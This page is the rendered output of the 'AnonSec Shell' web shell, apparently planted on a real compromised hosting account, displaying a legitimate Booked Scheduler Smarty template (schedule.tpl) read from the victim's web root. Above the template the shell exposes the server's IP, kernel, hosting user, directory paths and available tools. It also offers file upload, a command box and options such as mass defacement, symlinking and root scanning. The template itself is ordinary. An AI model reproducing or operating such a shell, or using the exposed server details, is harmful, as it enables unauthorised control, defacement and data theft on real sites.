. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . AnonSec Shell
AnonSec Shell
Server IP : 94.23.64.18  /  Your IP : 216.73.216.185   [ Reverse IP ]
Web Server : Apache
System : Linux webm005.cluster107.gra.hosting.ovh.net 5.15.167-ovh-vps-grsec-zfs-classid #1 SMP Tue Sep 17 08:14:20 UTC 2024 x86_64
User : villadal ( 6036)
PHP Version : 7.4.33
Disable Function : _dyuweyrj4,_dyuweyrj4r,dl
Domains : 2 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/villadal/www/old/booked/tpl/Schedule/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /home/villadal/www/old/booked/tpl/Schedule/schedule.tpl
{*
Copyright 2011-2014 Nick Korbel

This file is part of Booked Scheduler.

Booked Scheduler is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.

Booked Scheduler is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
GNU General Public License for more details.

You should have received a copy of the GNU General Public License
along with Booked Scheduler.  If not, see <http://www.gnu.org/licenses/>.
*}

{* All of the slot display formatting *}

{function name=displayGeneralReserved}
	{if $Slot->IsPending()}
		{assign var=class value='pending'}
	{/if}
	{if $Slot->HasCustomColor()}
		{assign var=color value='style="background-color:'|cat:$Slot->Color()|cat:';color:'|cat:$Slot->TextColor()|cat:';"'}
	{/if}
	<td {$spantype|default:'col'}span="{$Slot->PeriodSpan()}" class="reserved {$class} {$OwnershipClass} clickres slot"
		resid="{$Slot->Id()}" {$color}
		id="{$Slot->Id()}|{$Slot->Date()->Format('Ymd')}">{$Slot->Label($SlotLabelFactory)|escapequotes}</td>
{/function}

{function name=displayMyReserved}
	{call name=displayGeneralReserved Slot=$Slot Href=$Href SlotRef=$SlotRef OwnershipClass='mine'}
{/function}

{function name=displayMyParticipating}
	{call name=displayGeneralReserved Slot=$Slot Href=$Href SlotRef=$SlotRef OwnershipClass='participating'}
{/function}

{function name=displayReserved}
	{call name=displayGeneralReserved Slot=$Slot Href=$Href SlotRef=$SlotRef OwnershipClass=''}
{/function}

{function name=displayPastTime}
	<td {$spantype|default:'col'}span="{$Slot->PeriodSpan()}" ref="{$SlotRef}"
		class="pasttime slot">{$Slot->Label($SlotLabelFactory)|escapequotes}</td>
{/function}

{function name=displayReservable}
	<td {$spantype|default:'col'}span="{$Slot->PeriodSpan()}" ref="{$SlotRef}" class="reservable clickres slot" data-href="{$Href}" data-start="{$Slot->BeginDate()->Format('Y-m-d H:i:s')|escape:url}" data-end="{$Slot->EndDate()->Format('Y-m-d H:i:s')|escape:url}">&nbsp;</td>
{/function}

{function name=displayRestricted}
	<td {$spantype|default:'col'}span="{$Slot->PeriodSpan()}" class="restricted slot">&nbsp;</td>
{/function}

{function name=displayUnreservable}
	<td {$spantype|default:'col'}span="{$Slot->PeriodSpan()}"
		class="unreservable slot">{$Slot->Label($SlotLabelFactory)|escape}</td>
{/function}

{function name=displaySlot}
	{call name=$DisplaySlotFactory->GetFunction($Slot, $AccessAllowed) Slot=$Slot Href=$Href SlotRef=$SlotRef}
{/function}

{* End slot display formatting *}

{block name="header"}
	{include file='globalheader.tpl' cssFiles='css/jquery.qtip.min.css,scripts/css/jqtree.css,css/schedule.css'}
{/block}

{if $IsAccessible}

{block name="actions"}
	<div id="schedule-actions">
		<a href="#" id="make_default" style="display:none;">{html_image src="star_boxed_full.png" altKey="MakeDefaultSchedule"}</a>
		<a href="#" class="schedule-style" id="schedule_standard" schedule-display="{ScheduleStyle::Standard}">{html_image src="table.png" altKey="StandardScheduleDisplay"}</a>
		<a href="#" class="schedule-style" id="schedule_tall" schedule-display="{ScheduleStyle::Tall}">{html_image src="table-tall.png" altKey="TallScheduleDisplay"}</a>
		<a href="#" class="schedule-style" id="schedule_wide" schedule-display="{ScheduleStyle::Wide}">{html_image src="table-wide.png" altKey="WideScheduleDisplay"}</a>
		<a href="#" class="schedule-style" id="schedule_week" schedule-display="{ScheduleStyle::CondensedWeek}">{html_image src="table-week.png" altKey="CondensedWeekScheduleDisplay"}</a>
	</div>
	<div>
		{if $SubscriptionUrl != null}
			{html_image src="feed.png"} <a target="_blank" href="{$SubscriptionUrl->GetAtomUrl()}">Atom</a> | <a target="_blank" href="{$SubscriptionUrl->GetWebcalUrl()}">iCalendar</a>
		{/if}
	</div>
{/block}

<div id="defaultSetMessage" class="success hidden">
	{translate key=DefaultScheduleSet}
</div>

{block name="schedule_control"}
	<div>
		<div class="schedule_title">
			<span>{$ScheduleName}</span>
			{if $Schedules|@count gt 0}
				<ul class="schedule_drop">
					<li id="show_schedule">{html_image src="down_sm_blue.png" alt="Change Schedule"}</li>
					<ul style="display:none;" id="schedule_list">
						{foreach from=$Schedules item=schedule}
							<li><a href="#"
								   onclick="ChangeSchedule({$schedule->GetId()}); return false;">{$schedule->GetName()}</a>
							</li>
						{/foreach}
					</ul>
				</ul>
			{/if}
			<a href="#" id="calendar_toggle">{html_image src="calendar.png" altKey="ShowHideNavigation"}</a>
		</div>

		{capture name="date_navigation"}
			<div class="schedule_dates">
				{assign var=FirstDate value=$DisplayDates->GetBegin()}
				{assign var=LastDate value=$DisplayDates->GetEnd()}
				<a href="#" onclick="ChangeDate({formatdate date=$PreviousDate format="Y, m, d"}); return false;"><img
							src="img/arrow_large_left.png" alt="Back"/></a>
				{formatdate date=$FirstDate} - {formatdate date=$LastDate}
				<a href="#" onclick="ChangeDate({formatdate date=$NextDate format="Y, m, d"}); return false;"><img
							src="img/arrow_large_right.png" alt="Forward"/></a>

				{if $ShowFullWeekLink}
					<a href="{add_querystring key=SHOW_FULL_WEEK value=1}"
					   id="showFullWeek">({translate key=ShowFullWeek}
						)</a>
				{/if}
			</div>
		{/capture}

		{$smarty.capture.date_navigation}
	</div>
	<div type="text" id="datepicker" style="display:none;"></div>
{/block}

{block name="legend"}
<div style="text-align: center; margin: auto;">
	<div class="legend reservable">{translate key=Reservable}</div>
	<div class="legend unreservable">{translate key=Unreservable}</div>
	<div class="legend reserved">{translate key=Reserved}</div>
	<div class="legend reserved mine">{translate key=MyReservation}</div>
	<div class="legend reserved participating">{translate key=Participant}</div>
	<div class="legend reserved pending">{translate key=Pending}</div>
	<div class="legend pasttime">{translate key=Past}</div>
	<div class="legend restricted">{translate key=Restricted}</div>
</div>

<div style="height:10px">&nbsp;</div>
{/block}

<div id="reservations-left">
	<div class="reservations-left-header">{translate key=ResourceFilter}</div>

	<div class="reservations-left-content">
		<div class="center"><a id="show_all_resources" href="#">{translate key=ClearFilter}</a></div>

		<div>
		<select {formname key=RESOURCE_ID} class="textbox" id="resourceIdFilter">
			<option value="">- {translate key=All} -</option>
			{object_html_options options=$Resources label='Name' key='Id' usemethod=false selected=$ResourceIdFilter}
		</select>
		</div>

		<div>
		<div id="resourceGroups"></div>
		</div>

		<form method="POST">

			<div class="advancedFilterTitle">{translate key=AdvancedFilter}</div>
			<hr/>

			<div id="advancedFilter">
				<div>
				{translate key=MinimumCapacity}
				<input type='text' id='maxCapactiy' class="textbox" size='5' maxlength='5' {formname key=MAX_PARTICIPANTS} value="{$MaxParticipantsFilter}" />
				</div>

				<div>
				{translate key=ResourceType}
				<select {formname key=RESOURCE_TYPE_ID} class="textbox" {formname key=RESOURCE_TYPE_ID}>
					<option value="">- {translate key=All} -</option>
					{object_html_options options=$ResourceTypes label='Name' key='Id' selected=$ResourceTypeIdFilter}
				</select>
				</div>

				{foreach from=$ResourceAttributes item=attribute}
					<div>
					{control type="AttributeControl" attribute=$attribute align='vertical' searchmode=true namePrefix='r'}
					</div>
				{/foreach}

				{foreach from=$ResourceTypeAttributes item=attribute}
					<div>{control type="AttributeControl" attribute=$attribute align='vertical' searchmode=true namePrefix='rt'}</div>
				{/foreach}

				<div>
					<br/>
					<input type="submit" value="{translate key=Filter}" class="button" {formname key=SUBMIT}/>
				</div>
			</div>
		</form>
	</div>
</div>

{block name="reservations"}
	{assign var=TodaysDate value=Date::Now()}
	<div id="reservations">
		{foreach from=$BoundDates item=date}
			<div style="position:relative;">
			<table class="reservations" border="1" cellpadding="0" width="100%">
				{if $TodaysDate->DateEquals($date) eq true}
				<tr class="today">
					{else}
				<tr>
					{/if}
					<td class="resdate">{formatdate date=$date key="schedule_daily"}</td>
					{foreach from=$DailyLayout->GetPeriods($date, true) item=period}
						<td class="reslabel" colspan="{$period->Span()}">{$period->Label($date)}</td>
					{/foreach}
				</tr>
				{foreach from=$Resources item=resource name=resource_loop}
					{assign var=resourceId value=$resource->Id}
					{assign var=slots value=$DailyLayout->GetLayout($date, $resourceId)}
					{assign var=href value="{Pages::RESERVATION}?rid={$resource->Id}&sid={$ScheduleId}&rd={formatdate date=$date key=url}"}
					<tr class="slots">
						<td class="resourcename">
							{if $resource->CanAccess && $DailyLayout->IsDateReservable($date)}
								<a href="{$href}" resourceId="{$resource->Id}"
								   class="resourceNameSelector">{$resource->Name}</a>
							{else}
								{$resource->Name}
							{/if}
						</td>
						{foreach from=$slots item=slot}
							{assign var=slotRef value="{$slot->BeginDate()->Format('YmdHis')}{$resourceId}"}
							{displaySlot Slot=$slot Href="$href" AccessAllowed=$resource->CanAccess SlotRef=$slotRef}
						{/foreach}
					</tr>
				{/foreach}
			</table>
			</div>
			{flush}
		{/foreach}
	</div>
{/block}
{else}
	<div class="error">{translate key=NoResourcePermission}</div>
{/if}

<div class="clear">&nbsp;</div>
<input type="hidden" value="{$ScheduleId}" id="scheduleId"/>

{$smarty.capture.date_navigation}

{block name="scripts"}

{/block}

{block name="scripts-common"}
	{jsfile src="js/jquery.qtip.min.js"}
	{jsfile src="js/jquery.qtip.min.js"}
	{jsfile src="js/moment.min.js"}
	{jsfile src="schedule.js"}
	{jsfile src="resourcePopup.js"}
	{jsfile src="js/tree.jquery.js"}
	{jsfile src="js/jquery.cookie.js"}

	<script type="text/javascript">

		$(document).ready(function ()
		{
			var scheduleOpts = {
				reservationUrlTemplate: "{$Path}{Pages::RESERVATION}?{QueryStringKeys::REFERENCE_NUMBER}=[referenceNumber]",
				summaryPopupUrl: "{$Path}ajax/respopup.php",
				setDefaultScheduleUrl: "{$Path}{Pages::PROFILE}?action=changeDefaultSchedule&{QueryStringKeys::SCHEDULE_ID}=[scheduleId]",
				cookieName: "{$CookieName}",
				scheduleId:"{$ScheduleId}"
			};

			var schedule = new Schedule(scheduleOpts, {$ResourceGroupsAsJson});
			schedule.init();
		});
	</script>
{/block}



{control type="DatePickerSetupControl"
ControlId='datepicker'
DefaultDate=$FirstDate
NumberOfMonths='3'
ShowButtonPanel='true'
OnSelect='dpDateChanged'
FirstDay=$FirstWeekday}

{include file='globalfooter.tpl'}

Anon7 - 2022
AnonSec Team